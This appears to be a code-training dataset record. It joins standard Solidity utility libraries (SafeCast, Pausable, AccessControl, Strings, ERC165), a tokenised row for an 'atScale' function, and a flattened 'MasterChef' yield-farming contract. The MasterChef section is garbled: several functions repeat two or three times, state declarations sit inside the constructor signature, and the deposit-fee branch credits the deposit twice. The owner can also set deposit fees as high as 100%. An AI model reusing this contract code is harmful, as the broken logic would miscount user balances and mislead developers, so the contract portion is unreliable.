* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow
* checks.
*
* Downcasting from uint256/int256 in Solidity does not revert on overflow. This can
* easily result in undesired exploitation or bugs, since developers usually
* assume that overflows raise errors. `SafeCast` restores this intuition by
* reverting the transaction when such an operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*
* Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing
* all math on `uint256` and `int256` and then downcasting.
*/
library SafeCast {
/**
* @dev Returns the downcasted uint224 from uint256, reverting on
* overflow (when the input is greater than largest uint224).
*
* Counterpart to Solidity's `uint224` operator.
*
* Requirements:
*
* - input must fit into 224 bits
*/
function toUint224(uint256 value) internal pure returns (uint224) {
require(value <= type(uint224).max, "SafeCast: value doesn't fit in 224 bits");
return uint224(value);
}
/**
* @dev Returns the downcasted uint128 from uint256, reverting on
* overflow (when the input is greater than largest uint128).
*
* Counterpart to Solidity's `uint128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*/
function toUint128(uint256 value) internal pure returns (uint128) {
require(value <= type(uint128).max, "SafeCast: value doesn't fit in 128 bits");
return uint128(value);
}
/**
* @dev Returns the downcasted uint96 from uint256, reverting on
* overflow (when the input is greater than largest uint96).
*
* Counterpart to Solidity's `uint96` operator.
*
* Requirements:
*
* - input must fit into 96 bits
*/
function toUint96(uint256 value) internal pure returns (uint96) {
require(value <= type(uint96).max, "SafeCast: value doesn't fit in 96 bits");
return uint96(value);
}
/**
* @dev Returns the downcasted uint64 from uint256, reverting on
* overflow (when the input is greater than largest uint64).
*
* Counterpart to Solidity's `uint64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*/
function toUint64(uint256 value) internal pure returns (uint64) {
require(value <= type(uint64).max, "SafeCast: value doesn't fit in 64 bits");
return uint64(value);
}
/**
* @dev Returns the downcasted uint32 from uint256, reverting on
* overflow (when the input is greater than largest uint32).
*
* Counterpart to Solidity's `uint32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*/
function toUint32(uint256 value) internal pure returns (uint32) {
require(value <= type(uint32).max, "SafeCast: value doesn't fit in 32 bits");
return uint32(value);
}
/**
* @dev Returns the downcasted uint16 from uint256, reverting on
* overflow (when the input is greater than largest uint16).
*
* Counterpart to Solidity's `uint16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*/
function toUint16(uint256 value) internal pure returns (uint16) {
require(value <= type(uint16).max, "SafeCast: value doesn't fit in 16 bits");
return uint16(value);
}
/**
* @dev Returns the downcasted uint8 from uint256, reverting on
* overflow (when the input is greater than largest uint8).
*
* Counterpart to Solidity's `uint8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*/
function toUint8(uint256 value) internal pure returns (uint8) {
require(value <= type(uint8).max, "SafeCast: value doesn't fit in 8 bits");
return uint8(value);
}
/**
* @dev Converts a signed int256 into an unsigned uint256.
*
* Requirements:
*
* - input must be greater than or equal to 0.
*/
function toUint256(int256 value) internal pure returns (uint256) {
require(value >= 0, "SafeCast: value must be positive");
return uint256(value);
}
/**
* @dev Returns the downcasted int128 from int256, reverting on
* overflow (when the input is less than smallest int128 or
* greater than largest int128).
*
* Counterpart to Solidity's `int128` operator.
*
* Requirements:
*
* - input must fit into 128 bits
*
* _Available since v3.1._
*/
function toInt128(int256 value) internal pure returns (int128) {
require(value >= type(int128).min && value <= type(int128).max, "SafeCast: value doesn't fit in 128 bits");
return int128(value);
}
/**
* @dev Returns the downcasted int64 from int256, reverting on
* overflow (when the input is less than smallest int64 or
* greater than largest int64).
*
* Counterpart to Solidity's `int64` operator.
*
* Requirements:
*
* - input must fit into 64 bits
*
* _Available since v3.1._
*/
function toInt64(int256 value) internal pure returns (int64) {
require(value >= type(int64).min && value <= type(int64).max, "SafeCast: value doesn't fit in 64 bits");
return int64(value);
}
/**
* @dev Returns the downcasted int32 from int256, reverting on
* overflow (when the input is less than smallest int32 or
* greater than largest int32).
*
* Counterpart to Solidity's `int32` operator.
*
* Requirements:
*
* - input must fit into 32 bits
*
* _Available since v3.1._
*/
function toInt32(int256 value) internal pure returns (int32) {
require(value >= type(int32).min && value <= type(int32).max, "SafeCast: value doesn't fit in 32 bits");
return int32(value);
}
/**
* @dev Returns the downcasted int16 from int256, reverting on
* overflow (when the input is less than smallest int16 or
* greater than largest int16).
*
* Counterpart to Solidity's `int16` operator.
*
* Requirements:
*
* - input must fit into 16 bits
*
* _Available since v3.1._
*/
function toInt16(int256 value) internal pure returns (int16) {
require(value >= type(int16).min && value <= type(int16).max, "SafeCast: value doesn't fit in 16 bits");
return int16(value);
}
/**
* @dev Returns the downcasted int8 from int256, reverting on
* overflow (when the input is less than smallest int8 or
* greater than largest int8).
*
* Counterpart to Solidity's `int8` operator.
*
* Requirements:
*
* - input must fit into 8 bits.
*
* _Available since v3.1._
*/
function toInt8(int256 value) internal pure returns (int8) {
require(value >= type(int8).min && value <= type(int8).max, "SafeCast: value doesn't fit in 8 bits");
return int8(value);
}
/**
* @dev Converts an unsigned uint256 into a signed int256.
*
* Requirements:
*
* - input must be less than or equal to maxInt256.
*/
function toInt256(uint256 value) internal pure returns (int256) {
// Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive
require(value <= uint256(type(int256).max), "SafeCast: value doesn't fit in an int256");
return int256(value);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract Pausable is Context {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
constructor() {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
import "../utils/Strings.sol";
import "../utils/introspection/ERC165.sol";
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControl {
function hasRole(bytes32 role, address account) external view returns (bool);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
function grantRole(bytes32 role, address account) external;
function revokeRole(bytes32 role, address account) external;
function renounceRole(bytes32 role, address account) external;
}
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms. This is a lightweight version that doesn't allow enumerating role
* members except through off-chain means by accessing the contract event logs. Some
* applications may benefit from on-chain enumerability, for those cases see
* {AccessControlEnumerable}.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, msg.sender));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
* roles. More complex role relationships can be created by using
* {_setRoleAdmin}.
*
* WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
* grant and revoke this role. Extra precautions should be taken to secure
* accounts that have been granted it.
*/
abstract contract AccessControl is Context, IAccessControl, ERC165 {
struct RoleData {
mapping(address => bool) members;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Modifier that checks that an account has a specific role. Reverts
* with a standardized message including the required role.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/
*
* _Available since v4.1._
*/
modifier onlyRole(bytes32 role) {
_checkRole(role, _msgSender());
_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) public view override returns (bool) {
return _roles[role].members[account];
}
/**
* @dev Revert with a standard message if `account` is missing `role`.
*
* The format of the revert reason is given by the following regular expression:
*
* /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/
*/
function _checkRole(bytes32 role, address account) internal view {
if (!hasRole(role, account)) {
revert(
string(
abi.encodePacked(
"AccessControl: account ",
Strings.toHexString(uint160(account), 20),
" is missing role ",
Strings.toHexString(uint256(role), 32)
)
)
);
}
}
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) public view override returns (bytes32) {
return _roles[role].adminRole;
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_grantRole(role, account);
}
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
_revokeRole(role, account);
}
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) public virtual override {
require(account == _msgSender(), "AccessControl: can only renounce roles for self");
_revokeRole(role, account);
}
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event. Note that unlike {grantRole}, this function doesn't perform any
* checks on the calling account.
*
* [WARNING]
* ====
* This function should only be called from the constructor when setting
* up the initial roles for the system.
*
* Using this function in any other way is effectively circumventing the admin
* system imposed by {AccessControl}.
* ====
*/
function _setupRole(bytes32 role, address account) internal virtual {
_grantRole(role, account);
}
/**
* @dev Sets `adminRole` as ``role``'s admin role.
*
* Emits a {RoleAdminChanged} event.
*/
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
emit RoleAdminChanged(role, getRoleAdmin(role), adminRole);
_roles[role].adminRole = adminRole;
}
function _grantRole(bytes32 role, address account) private {
if (!hasRole(role, account)) {
_roles[role].members[account] = true;
emit RoleGranted(role, account, _msgSender());
}
}
function _revokeRole(bytes32 role, address account) private {
if (hasRole(role, account)) {
_roles[role].members[account] = false;
emit RoleRevoked(role, account, _msgSender());
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
| @notice a boolean signalling whether Scale has been reached | function atScale() public view override returns (bool) {
return totalPurchased >= scale;
}
| 5,894,021 | [
1,
69,
1250,
1573,
454,
310,
2856,
12591,
711,
2118,
8675,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
622,
5587,
1435,
1071,
1476,
3849,
1135,
261,
6430,
13,
288,
203,
3639,
327,
2078,
10262,
343,
8905,
1545,
3159,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/56/0x28f26AbEE2bB6dad22a9856196e3B7F032b26Cd8/sources/MasterChef.sol | MasterChef is the master of Egg. He can make Egg and he is a fair guy. Note that it's ownable and the owner wields tremendous power. The ownership will be transferred to a governance smart contract once EGG is sufficiently distributed and the community can show to govern itself. Have fun reading it. Hopefully it's bug-free. God bless. Info of each user. | contract MasterChef is Ownable {
using SafeMath for uint256;
using SafeBEP20 for IBEP20;
struct UserInfo {
}
struct PoolInfo {
}
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
constructor(
MojitoToken _mojito,
address _devaddr,
address _feeAddress,
uint256 _mojitoPerBlock,
uint256 _startBlock
MojitoToken public mojito;
address public devaddr;
uint256 public mojitoPerBlock;
uint256 public constant BONUS_MULTIPLIER = 1;
address public feeAddress;
PoolInfo[] public poolInfo;
mapping (uint256 => mapping (address => UserInfo)) public userInfo;
uint256 public totalAllocPoint = 0;
uint256 public startBlock;
) public {
mojito = _mojito;
devaddr = _devaddr;
feeAddress = _feeAddress;
mojitoPerBlock = _mojitoPerBlock;
startBlock = _startBlock;
}
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
function add(uint256 _allocPoint, IBEP20 _lpToken, uint16 _depositFeeBP, bool _withUpdate) public onlyOwner {
require(_depositFeeBP <= 10000, "add: invalid deposit fee basis points");
if (_withUpdate) {
massUpdatePools();
}
uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock;
totalAllocPoint = totalAllocPoint.add(_allocPoint);
poolInfo.push(PoolInfo({
lpToken: _lpToken,
allocPoint: _allocPoint,
lastRewardBlock: lastRewardBlock,
accEggPerShare: 0,
depositFeeBP: _depositFeeBP
}));
}
function add(uint256 _allocPoint, IBEP20 _lpToken, uint16 _depositFeeBP, bool _withUpdate) public onlyOwner {
require(_depositFeeBP <= 10000, "add: invalid deposit fee basis points");
if (_withUpdate) {
massUpdatePools();
}
uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock;
totalAllocPoint = totalAllocPoint.add(_allocPoint);
poolInfo.push(PoolInfo({
lpToken: _lpToken,
allocPoint: _allocPoint,
lastRewardBlock: lastRewardBlock,
accEggPerShare: 0,
depositFeeBP: _depositFeeBP
}));
}
function add(uint256 _allocPoint, IBEP20 _lpToken, uint16 _depositFeeBP, bool _withUpdate) public onlyOwner {
require(_depositFeeBP <= 10000, "add: invalid deposit fee basis points");
if (_withUpdate) {
massUpdatePools();
}
uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock;
totalAllocPoint = totalAllocPoint.add(_allocPoint);
poolInfo.push(PoolInfo({
lpToken: _lpToken,
allocPoint: _allocPoint,
lastRewardBlock: lastRewardBlock,
accEggPerShare: 0,
depositFeeBP: _depositFeeBP
}));
}
function set(uint256 _pid, uint256 _allocPoint, uint16 _depositFeeBP, bool _withUpdate) public onlyOwner {
require(_depositFeeBP <= 10000, "set: invalid deposit fee basis points");
if (_withUpdate) {
massUpdatePools();
}
totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint);
poolInfo[_pid].allocPoint = _allocPoint;
poolInfo[_pid].depositFeeBP = _depositFeeBP;
}
function set(uint256 _pid, uint256 _allocPoint, uint16 _depositFeeBP, bool _withUpdate) public onlyOwner {
require(_depositFeeBP <= 10000, "set: invalid deposit fee basis points");
if (_withUpdate) {
massUpdatePools();
}
totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint);
poolInfo[_pid].allocPoint = _allocPoint;
poolInfo[_pid].depositFeeBP = _depositFeeBP;
}
function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) {
return _to.sub(_from).mul(BONUS_MULTIPLIER);
}
function pendingEgg(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accEggPerShare = pool.accEggPerShare;
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 mojitoReward = multiplier.mul(mojitoPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
accEggPerShare = accEggPerShare.add(mojitoReward.mul(1e12).div(lpSupply));
}
return user.amount.mul(accEggPerShare).div(1e12).sub(user.rewardDebt);
}
function pendingEgg(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accEggPerShare = pool.accEggPerShare;
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 mojitoReward = multiplier.mul(mojitoPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
accEggPerShare = accEggPerShare.add(mojitoReward.mul(1e12).div(lpSupply));
}
return user.amount.mul(accEggPerShare).div(1e12).sub(user.rewardDebt);
}
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0 || pool.allocPoint == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 mojitoReward = multiplier.mul(mojitoPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
mojito.mint(devaddr, mojitoReward.div(10));
mojito.mint(address(this), mojitoReward);
pool.accEggPerShare = pool.accEggPerShare.add(mojitoReward.mul(1e12).div(lpSupply));
pool.lastRewardBlock = block.number;
}
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0 || pool.allocPoint == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 mojitoReward = multiplier.mul(mojitoPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
mojito.mint(devaddr, mojitoReward.div(10));
mojito.mint(address(this), mojitoReward);
pool.accEggPerShare = pool.accEggPerShare.add(mojitoReward.mul(1e12).div(lpSupply));
pool.lastRewardBlock = block.number;
}
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0 || pool.allocPoint == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 mojitoReward = multiplier.mul(mojitoPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
mojito.mint(devaddr, mojitoReward.div(10));
mojito.mint(address(this), mojitoReward);
pool.accEggPerShare = pool.accEggPerShare.add(mojitoReward.mul(1e12).div(lpSupply));
pool.lastRewardBlock = block.number;
}
function deposit(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 pending = user.amount.mul(pool.accEggPerShare).div(1e12).sub(user.rewardDebt);
if(pending > 0) {
safeEggTransfer(msg.sender, pending);
}
}
if(_amount > 0) {
pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
if(pool.depositFeeBP > 0){
uint256 depositFee = _amount.mul(pool.depositFeeBP).div(10000);
pool.lpToken.safeTransfer(feeAddress, depositFee);
user.amount = user.amount.add(_amount).sub(depositFee);
user.amount = user.amount.add(_amount);
}
}
